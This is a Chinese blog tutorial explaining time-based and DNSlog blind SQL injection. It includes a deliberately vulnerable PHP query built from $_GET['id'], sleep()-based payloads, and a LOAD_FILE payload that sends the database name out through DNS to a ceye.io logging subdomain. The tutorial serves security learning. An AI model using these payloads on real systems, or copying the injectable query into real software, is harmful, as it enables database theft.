SQL盲注——时间盲注,dnslog盲注

SQL盲注——时间盲注,dnslog盲注

时间盲注

时间盲注原理

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'You are in...........'}
	else 
	{
	echo 'You are in...........';
	}

代码存在SQL注入漏洞
然而页面不会回显数据,也不会回显错误信息
语句执行后不提示真假,我们不能通过页面内容进行判断
这里我们可以通过构造语句,通过页面响应的时长

核心语法:if(left(user(),1)=‘a’,0,sleep(3));
真实场景: if(ascii(substr(database(),1,1)>115,0,sleep(5))%23

DNSlog盲注

DNSlog盲注原理

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'Right'}
	else 
	{
	echo 'Wrong';
	}

代码存在SQL注入漏洞
然而页面不会回显数据,也不会回显错误信息
我们通过布尔盲注或者时间盲注都可以获取到内容,但是整个过程中效率低,需要发送很多的请求进行判断,很可能会触发安全设备的防护
我们需要一种方式,减少请求,直接回显数据,这里可以使用DNSlog实现注入

一个DNSlog平台:ceye.io
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息
解析日志会记录HTTP Request和DNS Query
HTTP Request 包括了请求地址的详情,请求的来源地址,方式,UA等
DNS QUery 包括了请求的详情和来源地址。

MySql LOAD_FILE函数可以发起请求
SELECT LOAD_FILE(CONCAT(’\\’,‘test’,’.mysql.eftf8t.ceye.io\abc’)); -> test.mysql.eftf8t.ceye.io

核心语法
SELECT LOAD_FILE(CONCAT(’\\’,(select database()),’.mysql.eftf8t.ceye.io\abc’));
通过SQL语句查询内容,作为请求的一部分,发送至Dnslog
只要对这一部分进行构建,就能实现有回显的SQL注入
值得主意的是,这些数据格式和内容都有限制(比如不能使用特殊符号),需要进行一些处理
Load_file()只能在windows系统下发起请求
所以只有目标是windows系统时才能使用DNSlog注入,在linux下是不能的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值